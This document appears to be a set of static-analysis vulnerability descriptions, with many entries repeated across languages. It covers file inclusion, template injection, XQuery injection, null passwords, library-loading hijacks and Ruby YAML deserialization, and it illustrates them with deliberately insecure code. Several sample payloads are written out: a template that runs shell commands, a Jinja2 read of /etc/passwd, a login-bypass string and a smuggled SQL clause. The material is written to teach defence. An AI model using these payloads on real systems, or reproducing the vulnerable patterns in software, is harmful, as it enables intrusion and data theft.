Many modern web scripting languages enable code re-use and modularization through the ability to include additional source files within one encapsulating file. This ability is often used to apply a standard look and feel to an application (templating), share functions without the need for compiled code, or break the code into smaller more manageable files. Included files are interpreted as part of the parent file and executed in the same manner. File inclusion vulnerabilities occur when the path of the included file is controlled by unvalidated user input.

Example 1: The following code takes a user specified template name and includes it in the rendered HTML page.

...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...

In Example 1, an attacker may take complete control of the dynamic include statement by supplying a malicious value for includedURL, which causes the program to include a file from an external site.

If the attacker specifies a valid file to a dynamic include statement, .NET will insert the contents of that file into the HTML file sent to the user. In the case of a plain text file, such as web.config, the file might be rendered as part of the HTML output. Worse, if the attacker may specify a path to a remote site controlled by the attacker, then the dynamic include statement will execute arbitrary malicious code supplied by the attacker.

Many modern web scripting languages enable code re-use and modularization through the ability to include additional source files within one encapsulating file. This ability is often used to apply a standard look and feel to an application (templating), share functions without the need for compiled code, or break the code into smaller more manageable files. Included files are interpreted as part of the parent file and executed in the same manner. File inclusion vulnerabilities occur when the path of the included file is controlled by unvalidated user input.

File inclusion vulnerabilities are one of the most prolific and severe vulnerabilities in PHP applications. Prior to PHP 4.2.0, PHP installations shipped with the register_globals option enabled by default, which permits attackers to easily overwrite internal server variables. Although disabling register_globals can limit a program's exposure to file inclusion vulnerabilities, these problems still occur in modern PHP applications.

Example 1: The following code includes a file under the application defined $server_root in a template.

...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...

If register_globals is set to on, an attacker may overwrite the $server_root value by supplying $server_root as a request parameter, thereby taking partial-control of the dynamic include statement.

Example 2: The following code takes a user specified template name and includes it in the PHP page to be rendered.

...
<?php include($_GET['headername']); ?$gt;
...

In Example 2, an attacker may take complete control of the dynamic include statement by supplying a malicious value for headername, which causes the program to include a file from an external site.

If the attacker specifies a valid file to a dynamic include statement, the contents of that file will be passed to the PHP interpreter. In the case of a plain text file, such as /etc/shadow, the file might be rendered as part of the HTML output. Worse, if the attacker may specify a path to a remote site controlled by the attacker, then the dynamic include statement will execute arbitrary malicious code supplied by the attacker.

Template engines are used to render content using dynamic data. This context data is normally controlled by the user and formatted by the template to generate web pages, emails, and so on. Template engines allow powerful language expressions to be used in templates to render dynamic content, by processing the context data with code constructs such as conditionals, loops, etc. If an attacker can control the template to be rendered, they can inject expressions that expose context data or even run arbitrary commands on the server.

Example 1: The following example shows how a template is retrieved from an HTTP request and rendered.

app.get('/', function(req, res){
    var template = _.template(req.params['template']);
    res.write("<html><body><h2>Hello World!</h2>" + template() + "</body></html>");
});

Example 1 uses Underscore.js as the template engine within a Node.js application. For that engine, an attacker could submit the following template to run arbitrary commands on the server:

<% cp = process.mainModule.require('child_process');cp.exec(<COMMAND>); %>

Template engines are used to render content using dynamic data. This context data is normally controlled by the user and formatted by the template to generate web pages, emails, and the like. Template engines allow powerful language expressions to be used in templates in order to render dynamic content, by processing the context data with code constructs such as conditionals, loops, etc. If an attacker can control the template to be rendered, they can inject expressions that expose context data or even run arbitrary commands on the server.

Example 1: The following example shows how a template is retrieved from an HTTP request and rendered using the Jinja2 template engine.

from django.http import HttpResponse
from jinja2 import Template as Jinja2_Template
from jinja2 import Environment, DictLoader, escape

def process_request(request):
    # Load the template
    template = request.GET['template']
    t = Jinja2_Template(template)
    name = source(request.GET['name'])
    # Render the template with the context data
    html = t.render(name=escape(name))
    return HttpResponse(html)

Example 1 uses Jinja2 as the template engine. For that engine, an attacker could submit the following template to read arbitrary files from the server:

template={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

Example 2: The following example shows how a template is retrieved from an HTTP request and rendered using the Django template engine.

from django.http import HttpResponse
from django.template import Template, Context, Engine

def process_request(request):
    # Load the template
    template = source(request.GET['template'])
    t = Template(template)
    user = {"name": "John", "secret":getToken()}
    ctx = Context(locals())
    html = t.render(ctx)
    return HttpResponse(html)

Example 2 uses Django as the template engine. For that engine, an attacker will not be able to execute arbitrary commands, but they will be able to access all the objects in the template context. In this example, a secret token is available in the context and could be leaked by the attacker.

XQuery injection occurs when:

1. Data enters a program from an untrusted source.



2. The data used to dynamically construct an XQuery expression.

Example 1: The following code dynamically constructs and executes an XQuery expression that retrieves a user account for a given username and password combination. The username and password are read from an HTTP request, and are therefore untrusted.

  ...

  String squery = "for \$user in doc(users.xml)//user[username='" + Request["username"] + "'and pass='" + Request["password"] + "'] return \$user";

  Processor processor = new Processor();

  XdmNode indoc = processor.NewDocumentBuilder().Build(new Uri(Server.MapPath("users.xml")));

  StreamReader query = new StreamReader(squery);
  XQueryCompiler compiler = processor.NewXQueryCompiler();
  XQueryExecutable exp = compiler.Compile(query.ReadToEnd());
  XQueryEvaluator eval = exp.Load();
  eval.ContextItem = indoc;

  Serializer qout = new Serializer();
  qout.SetOutputProperty(Serializer.METHOD, "xml");
  qout.SetOutputProperty(Serializer.DOCTYPE_PUBLIC, "-//W3C//DTD XHTML 1.0 Strict//EN");
  qout.SetOutputProperty(Serializer.DOCTYPE_SYSTEM, "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd");
  qout.SetOutputProperty(Serializer.INDENT, "yes");
  qout.SetOutputProperty(Serializer.OMIT_XML_DECLARATION, "no");

  qout.SetOutputWriter(Response.Output);
  eval.Run(qout);

  ...
  

Under normal conditions, such as searching for a user account with the appropriate username and password, the expression that this code executes will look like the following:

for \$user in doc(users.xml)//user[username='test_user' and pass='pass123'] return \$user

However, because the expression is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if username or password does not contain a single-quote character. If an attacker enters the string admin' or 1=1 or ''=' for username, then the query becomes the following:

for \$user in doc(users.xml)//user[username='admin' or 1=1 or ''='' and password='x' or ''=''] return \$user

The addition of the admin' or 1=1 or ''=' condition causes the XQuery expression to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

//user[username='admin']

This simplification of the query allows the attacker to bypass the requirement that the query match the password; the query now returns the admin user stored in the document, regardless of the entered password.

XQuery injection occurs when:

1. Data enters a program from an untrusted source.



2. The data is used to dynamically construct an XQuery expression.

Example 1: The following code dynamically constructs and executes an XQuery expression that retrieves a user account for a given username and password combination. The username and password are read from an HTTP request, and are therefore untrusted.

...

$memstor = InMemoryStore::getInstance();
$z = Zorba::getInstance($memstor);

try {
  // get data manager
  $dataman = $z->getXmlDataManager();

  // load external XML document
  $dataman->loadDocument('users.xml', file_get_contents('users.xml'));

  // create and compile query
  $express =
"for \$user in doc(users.xml)//user[username='" . $_GET["username"] . "'and pass='" . $_GET["password"] . "'] return \$user"

  $query = $zorba->compileQuery($express);

  // execute query
  $result = $query->execute();



?>
...

Under normal conditions, such as searching for a user account with the appropriate username and password, the expression that this code executes will look like the following:

for \$user in doc(users.xml)//user[username='test_user' and pass='pass123'] return \$user

However, because the expression is constructed dynamically by concatenating a constant query string and a user input string, the query only behaves correctly if username or password does not contain a single-quote character. If an attacker enters the string admin' or 1=1 or ''=' for username, then the query becomes the following:

for \$user in doc(users.xml)//user[username='admin' or 1=1 or ''='' and password='x' or ''=''] return \$user

The addition of the admin' or 1=1 or ''=' condition causes the XQuery expression to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

//user[username='admin']

This simplification of the query allows the attacker to bypass the requirement that the query match the password; the query now returns the admin user stored in the document, regardless of the entered password.

Assigning null to password variables is never a good idea as it may allow attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example 1: The following code initializes a password variable to null, attempts to read a stored value for the password, and compares it against a user-supplied value.

    ...
    var storedPassword:String = null;
    var temp:String;

    if ((temp = readPassword()) != null) {
        storedPassword = temp;
    }

    if(Utils.verifyPassword(userPassword, storedPassword))
        // Access protected resources
        ...
    }
    ...

If readPassword() fails to retrieve the stored password due to a database error or another problem, then an attacker could trivially bypass the password check by providing a null value for userPassword.

Assigning null to password variables is never a good idea as it might enable attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example 1: The following code initializes a password variable to null, attempts to read a stored value for the password, and compares it against a user-supplied value.

    ...
    string storedPassword = null;
    string temp;

    if ((temp = ReadPassword(storedPassword)) != null) {
        storedPassword = temp;
    }

    if (Utils.VerifyPassword(storedPassword, userPassword)) {
        // Access protected resources
        ...
    }
    ...

If ReadPassword() fails to retrieve the stored password due to a database error or other problem, then an attacker can easily bypass the password check by providing a null value for userPassword.

Assigning null to password variables is never a good idea as it may allow attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example 1: The following code initializes a password variable to null, attempts to read a stored value for the password, and compares it against a user-supplied value.

    ...
    string storedPassword = null;
    string temp;

    if ((temp = ReadPassword(storedPassword)) != null) {
        storedPassword = temp;
    }

    if(Utils.VerifyPassword(storedPassword, userPassword))
        // Access protected resources
        ...
    }
    ...

If ReadPassword() fails to retrieve the stored password due to a database error or another problem, then an attacker could trivially bypass the password check by providing a null value for userPassword.

Assigning null to password variables is never a good idea as it may allow attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example 1: The following code initializes a password variable to null, attempts to read a stored value for the password, and compares it against a user-supplied value.

    ...
    char *stored_password = NULL;

    readPassword(stored_password);

    if(safe_strcmp(stored_password, user_password))
        // Access protected resources
        ...
    }
    ...

If readPassword() fails to retrieve the stored password due to a database error or another problem, then an attacker could trivially bypass the password check by providing a null value for user_password.

Assigning null to password variables is never a good idea as it might enable attackers to bypass password verification or it might indicate that resources are protected by an empty password.

It is not a good idea to have a null password.

Example 1: The following code sets the password initially to null:

    ...
    var password=null;
    ...
    {
        password=getPassword(user_data);
        ...
    }
    ...
    if(password==null){
        // Assumption that the get didn't work
        ...
        }
    ...

Never assign null to password variables because it might enable attackers to bypass password verification or indicate that resources are not protected by a password.

Example 1: The following JSON initializes a null password.

{
  ...
  "password" : null
  ...
}

Assigning null to password variables is never a good idea as it may allow attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example 1: The following code initializes a password variable to null, attempts to read a stored value for the password, and compares it against a user-supplied value.

    ...
    NSString *stored_password = NULL;

    readPassword(stored_password);

    if(safe_strcmp(stored_password, user_password)) {
        // Access protected resources
        ...
    }
    ...

If readPassword() fails to retrieve the stored password due to a database error or another problem, then an attacker could trivially bypass the password check by providing a null value for user_password.

Assigning null to password variables is never a good idea as it may allow attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example 1: The following code initializes a password variable to null, attempts to read a stored value for the password, and compares it against a user-supplied value.

<?php
    ...
    $storedPassword = NULL;

    if (($temp = getPassword()) != NULL) {
      $storedPassword = $temp;
    }

    if(strcmp($storedPassword,$userPassword) == 0) {
        // Access protected resources
        ...
    }
    ...
?>

If readPassword() fails to retrieve the stored password due to a database error or another problem, then an attacker could trivially bypass the password check by providing a null value for userPassword.

Assigning null to password variables is never a good idea as it may allow attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example 1: The following code initializes a password variable to null.

DECLARE
    password VARCHAR(20);
BEGIN
    password := null;
END;

Assigning null to password variables is never a good idea as it may allow attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example 1: The following code initializes a password variable to null, attempts to read a stored value for the password, and compares it against a user-supplied value.

...
storedPassword = NULL;

temp = getPassword()
if (temp is not None) {
  storedPassword = temp;
}

if(storedPassword == userPassword) {
    // Access protected resources
    ...
}
...

If getPassword() fails to retrieve the stored password due to a database error or another problem, then an attacker could trivially bypass the password check by providing a null value for userPassword.

Assigning nil to password variables is never a good idea as it may allow attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example 1: The following code initializes a password variable to nil, attempts to read a stored value for the password, and compares it against a user-supplied value.

    ...
    @storedPassword = nil
    temp = readPassword()
    storedPassword = temp unless temp.nil?
    unless Utils.passwordVerified?(@userPassword, @storedPassword)
      ...
    end
    ...

If readPassword() fails to retrieve the stored password due to a database error or another problem, then an attacker could trivially bypass the password check by providing a null value for @userPassword.

Due to the dynamic nature of Ruby, many functions also take an optional number of arguments, so the password may be set to nil as a default value when none is specified. In this case you also need to make sure that the correct number of arguments are specified in order to make sure a password is passed to the function.

Assigning null to password variables is a bad idea because it can allow attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example 1: The following code initializes a password variable to null, attempts to read a stored value for the password, and compares it against a user-supplied value.

    ...
    ws.url(url).withAuth("john", null, WSAuthScheme.BASIC)
    ...

Assigning nil to password variables is never a good idea as it may allow attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example 1: The following code initializes a password variable to null, attempts to read a stored value for the password, and compares it against a user-supplied value.

...
var stored_password = nil

readPassword(stored_password)

if(stored_password == user_password) {
// Access protected resources
...
}
...

If readPassword() fails to retrieve the stored password due to a database error or another problem, then an attacker could trivially bypass the password check by providing a null value for user_password.

Assigning null to password variables is never a good idea as it may allow attackers to bypass password verification or might indicate that resources are protected by an empty password.

Example 1: The following code initializes a password variable to null and uses it to connect to a database.

    ...
    Dim storedPassword As String
    Set storedPassword = vbNullString

    Dim con As New ADODB.Connection
    Dim cmd As New ADODB.Command
    Dim rst As New ADODB.Recordset

    con.ConnectionString = "Driver={Microsoft ODBC for Oracle};Server=OracleServer.world;Uid=scott;Passwd=" & storedPassword &";"
    ...

If the code in Example 1 succeeds, it indicates that the database user account "scott" is configured with an empty password, which an attacker can easily guess. After the program ships, updating the account to use a non-empty password will require a code change.

The HTTP(S) responses may contain sensitive data such as session cookies and API tokens. The URL loading system will cache all the HTTP(S) responses for performance reasons, storing them unencrypted in the {app ID}/Library/Caches/com.mycompany.myapp/Cache.db* files.

The HTTP(S) responses may contain sensitive data such as session cookies and API tokens. The URL loading system will cache all the HTTP(S) responses for performance reasons, storing them unencrypted in the {app ID}/Library/Caches/com.mycompany.myapp/Cache.db* files.

Process control vulnerabilities take two forms:

- An attacker can change the name of the program or the code of the transaction being invoked: the attacker explicitly controls what the program name or transaction code is.

- An attacker can change the environment in which the program or the transaction is invoked: the attacker implicitly controls a communication area made available to the invoked program or the transaction.

In this case, we are primarily concerned with the first scenario, the possibility that an attacker may be able to control the name of the program or the code of the transaction that is invoked. Process control vulnerabilities of this type occur when:

1. Data enters the application from an untrusted source.



2. The data is used as or as part of a string representing a program name or a transaction code that is invoked.



3. By executing code from the invoked program or the transaction, the application gives the attacker a privilege or capability that the attacker would not otherwise have.

Example 1: The following code excerpt from a privileged system utility reads a value from an HTTP request to determine the code of the transaction to call.

...
tid = request->get_form_field( 'tid' ).

CALL TRANSACTION tid USING bdcdata  MODE 'N'
                         MESSAGES INTO messtab.
...

This code excerpt allows an attacker to call any transaction and potentially execute arbitrary code with the elevated privilege of the application. Because the program does not validate the value read from the HTTP request, if an attacker can control this value, then they can fool the application into running malicious code and take control of the system.

Process control vulnerabilities take two forms:

- An attacker can change the name of the library or executable that the program loads: the attacker explicitly controls what the name of the library or executable is.

- An attacker can change the environment in which the library or executable loads: the attacker implicitly controls what the library or executable name means.

In this case, we are primarily concerned with the first scenario, the possibility that an attacker may be able to control the name of the library that is loaded. Process control vulnerabilities of this type occur when:

1. Data enters the application from an untrusted source.



2. The data is used as or as part of a string representing a library or an executable that is loaded by the application.



3. By executing code from the library or executable, the application gives the attacker a privilege or capability that the attacker would not otherwise have.

Example 1: The following code from a privileged system utility uses the application configuration property APPHOME and then loads a native library based on a relative path from the specified directory.

  ...
  string lib = ConfigurationManager.AppSettings["APPHOME"];
  Environment.ExitCode = AppDomain.CurrentDomain.ExecuteAssembly(lib);
  ...

This code allows an attacker to load a library or an executable and potentially execute arbitrary code with the elevated privilege of the application by modifying the application configuration property APPHOME to point to a different path containing a malicious version of LIBNAME. Because the program does not validate the value read from the environment, if attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Process control vulnerabilities take two forms:

- An attacker can change the library that the program executes: the attacker explicitly controls what the name of the library is.

- An attacker can change the environment in which the library loads: the attacker implicitly controls what the library name means.

In this case, we are primarily concerned with the first scenario, the possibility that an attacker may be able to control the name of the library that is loaded. Process control vulnerabilities of this type occur when:

1. Data enters the application from an untrusted source.

2. The data is used as part of a string representing a library name that is loaded by the application.

3. By executing code from the library, the application gives the attacker a privilege or capability that the attacker would not otherwise have.

Example 1: The following code from a privileged application uses a registry entry to determine the directory in which it is installed and loads a library file based on a relative path from the specified directory.

	...
	RegQueryValueEx(hkey, "APPHOME",
                      0, 0, (BYTE*)home, &size);
	char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));
	if (lib) {
		strcpy(lib,home);
		strcat(lib,INITCMD);
		LoadLibrary(lib);
	}
	...

The code in this example allows an attacker to load an arbitrary library, from which code will be executed with the elevated privilege of the application, by modifying a registry key to specify a different path containing a malicious version of INITLIB. Because the program does not validate the value read from the environment, if an attacker can control the value of APPHOME, they can fool the application into running malicious code.

Example 2: The following code is from a web-based administration utility that allows users access to an interface through which they can update their profile on the system. The utility uses a library named liberty.dll, which is intended to be found in a standard system directory.

LoadLibrary("liberty.dll");

However, the program does not specify an absolute path for liberty.dll. If an attacker places a malicious library named liberty.dll higher in the search order than the intended file and has a way to execute the program in their environment rather than the web server's environment, then the application will load the malicious library instead of the trusted one. Because this type of application runs with elevated privileges, the contents of the attacker's liberty.dll is now be run with elevated privileges, potentially giving them complete control of the system.

This type of attack is possible due to the search order used by LoadLibrary() when an absolute path is not specified. If the current directory is searched before system directories, as was the case up until the most recent versions of Windows, then this type of attack becomes trivial if the attacker may execute the program locally. The search order is operating system version dependent, and is controlled on newer operating systems by the value of this registry key:

HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

This key is not defined on Windows 2000/NT and Windows Me/98/95 systems.

On systems where the key does exist, LoadLibrary() behaves as follows:
If SafeDllSearchMode is 1, the search order is as follows:
(Default setting for Windows XP-SP1 and later, as well as Windows Server 2003.)
1. The directory from which the application was loaded.
2. The system directory.
3. The 16-bit system directory, if it exists.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.
If SafeDllSearchMode is 0, the search order is as follows:
1. The directory from which the application was loaded.
2. The current directory.
3. The system directory.
4. The 16-bit system directory, if it exists.
5. The Windows directory.
6. The directories that are listed in the PATH environment variable.

Process control vulnerabilities take two forms:

- An attacker can change the name of the program being invoked: the attacker explicitly controls what the name of the application program is.

- An attacker can change the environment in which the program is invoked: the attacker implicitly controls a communication area made available to the invoked program.

In this case, we are primarily concerned with the first scenario, the possibility that an attacker might control the name of the program that is invoked. Process control vulnerabilities of this type occur when:

1. Data enters the application from an untrusted source.



2. The data is used as part of, or the entire string representing a program that is invoked or determines some control over the environment in which the program is invoked.



3. By executing code from the invoked program, the application gives the attacker a privilege or capability that the attacker would not otherwise have.

Example 1: The following code from a privileged system utility reads a value from the terminal to determine the name of the program to transfer control to.

...
ACCEPT PROGNAME.
EXEC CICS
  LINK PROGRAM(PROGNAME)
  COMMAREA(COMA)
  LENGTH(LENA)
  DATALENGTH(LENI)
  SYSID('CONX')
END-EXEC.
...

This code allows an attacker to transfer control to a program and potentially execute arbitrary code with the elevated privilege of the application. Because the program does not validate the value read from the terminal, if an attacker can control this value, then they can fool the application into running malicious code and take control of the system.

Process control vulnerabilities take two forms:

- An attacker can change the name of the library that the program loads: the attacker explicitly controls what the name of the library is.

- An attacker can change the environment in which the library loads: the attacker implicitly controls what the library name means.

In this case, we are primarily concerned with the first scenario, the possibility that an attacker may be able to control the name of the library that is loaded. Process control vulnerabilities of this type occur when:

1. Data enters the application from an untrusted source.



2. The data is used as or as part of a string representing a library that is loaded by the application.



3. By executing code from the library, the application gives the attacker a privilege or capability that the attacker would not otherwise have.

Example 1: The following code uses a currently undocumented "feature" of Express to dynamically load a library file. Node.js will then continue to search through its regular library load path for a file or directory containing this library[1].

var express = require('express');
var app = express();

app.get('/', function(req, res, next) {
  res.render('tutorial/' + req.params.page);
});

In Express, the page passed to Response.render() will load a library of the extension when previously unknown. This is usually fine for input such as "foo.pug", as this will mean loading the pug library, a well known templating engine. However, if an attacker can control the page and thus the extension, then they can choose to load any library within the Node.js module loading paths. Since the program does not validate the information received from the URL parameter, the attacker may fool the application into running malicious code and take control of the system.

Process control vulnerabilities take two forms:

- An attacker can change the name of the library that the program loads: the attacker explicitly controls what the name of the library is.

- An attacker can change the environment in which the library loads: the attacker implicitly controls what the library name means.

In this case, we are primarily concerned with the first scenario, the possibility that an attacker may be able to control the name of the library that is loaded. Process control vulnerabilities of this type occur when:

1. Data enters the application from an untrusted source.



2. The data is used as or as part of a string representing a library that is loaded by the application.



3. By executing code from the library, the application gives the attacker a privilege or capability that the attacker would not otherwise have.

Example 1: The following code from a privileged system utility uses the system property APPHOME to determine the directory in which it is installed and then loads a native library based on a relative path from the specified directory.

	...
	$home = getenv("APPHOME");
	$lib = $home + $LIBNAME;
	dl($lib);
	...

This code allows an attacker to load a library and potentially execute arbitrary code with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of LIBNAME. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Example 2: The following code uses dl() to load code from a library named sockets.dll, which can be loaded from various places depending on your installation and configuration.

	...
	dl("sockets");
	...

The problem here is that dl() accepts a library name, not a path, for the library to be loaded.

If an attacker is able to place a malicious copy of sockets.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's sockets.dll will now be run with elevated privileges, possibly giving them complete control of the system.

Within Ruby, Process Control can commonly occur when a command is being executed, which enables two different attacks:

1. Process Control
Process Control vulnerabilities take two forms:

- An attacker can change the name of the library that the program loads: the attacker explicitly controls what the name of the library is.

- An attacker can change the environment in which the library loads: the attacker implicitly controls what the library name means.

In this case, we are primarily concerned with the second scenario, the possibility that an attacker may be able to control the environment in such a way that the program loads a malicious version of the named library.

1. An attacker provides a malicious library to an application.

2. The application loads the malicious library because it fails to specify an absolute path or verify the file being loaded.

3. By executing code from the library, the application gives the attacker a privilege or capability that the attacker would not otherwise have.

Note that Process Control can occur on Windows platforms when running an external program as the shell used to run the commands is chosen via the environment variables RUBYSHELL or COMSPEC. If an attacker is able to modify either of these environment variables within the current environment, it means that the program pointed by these environment variables will be run with the permission or the running Ruby program.

2. Command Injection
Command injection vulnerabilities take two forms:

- An attacker can change the command that the program executes: the attacker explicitly controls what the command is.

- An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means.

In this case, we are primarily concerned with the second scenario, the possibility that an attacker may be able to change the meaning of the command by changing an environment variable or by putting a malicious executable early in the search path. Command injection vulnerabilities of this type occur when:

1. An attacker modifies an application's environment.

2. The application executes a command without specifying an absolute path or verifying the binary being executed.

3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Example 1: The following code runs Kernel.system() to run an executable called program.exe, which is normally found within a standard system directory.

...
system("program.exe")
...

The problem here is twofold:
1. On Windows platforms, Kernel.system() executes something via a shell. If an attacker can manipulate environment variables RUBYSHELL or COMSPEC, they may be able to point to a malicious executable which will be called with the command given to Kernel.system(). Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's program.exe will now be run with these privileges, possibly giving them complete control of the system.
2. On all platforms in this scenario, the problem is that the program does not specify an absolute path and fails to clean its environment prior to executing the call to Kernel.system(). If an attacker can modify the $PATH variable to point to a malicious binary called program.exe and then execute the application in their environment, the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's program.exe will now be run with these privileges, possibly giving them complete control of the system.

Object injection vulnerabilities occur when untrusted data is not properly sanitized before being passed to a function that deserializes data such as YAML.load(). Attackers could pass specially crafted serialized strings to a vulnerable YAML.load() call, resulting in arbitrary Ruby objects being injected into the program, as long as the class is loaded into the application at the time of deserialization. This may open up a whole heap of various attack opportunities, such as bypassing validation logic to find cross-site scripting vulnerabilities, allow SQL injection through what appear to be hardcoded values, or even full code execution.

Example 1: The following code shows a Ruby class that creates a SQL query using its attributes that is then queried against the database. There is also an insecure call to YAML.load() with user-supplied data.

...
class Transaction
  attr_accessor :id
  def initialize(num=nil)
    @id = num.is_a?(Numeric) ? num : nil
  end

  def print_details
    unless @id.nil?
      print $conn.query("SELECT * FROM transactions WHERE id=#{@id}")
    end
  end
end

...
user = YAML.load(params[:user]);
user.print_details
...

In Example 1, the application may be expecting a serialized User object, which also happens to have a function called print_details, but an attacker may actually provide a serialized version of a Transaction object with a predefined value for its @id attribute. A request such as the following can thus allow bypassing of the validation check that attempts to make sure @id is a numeric value

GET REQUEST:  http://server/page?user=!ruby%2Fobject%3ATransaction%0Aid%3A4%20or%205%3D5%0A

If we see the decoded version of this, we see that the user parameter is assigned !ruby/object:Transaction\nid:4 or 5=5\n.
Now deserializing the user parameter will create an object of type Transaction, setting @id to "4 or 5=5". When the developer believes they will be calling User#print_details(), they will now be calling Transaction#print_details(), and Ruby's string interpolation will mean the SQL query will be changed to execute the query: SELECT * FROM transactions WHERE id=4 or 5=5. Due to the extra clause that was added, the query evaluates to true and will return everything within the transactions table instead of the single row that was intended from the developer.

Attackers may chain different classes declared when the vulnerable YAML.load() is being called using a technique known as "Property Oriented Programming", which was introduced by Stefan Esser during BlackHat 2010 conference. This technique allows an attacker to reuse existing code to craft its own payload.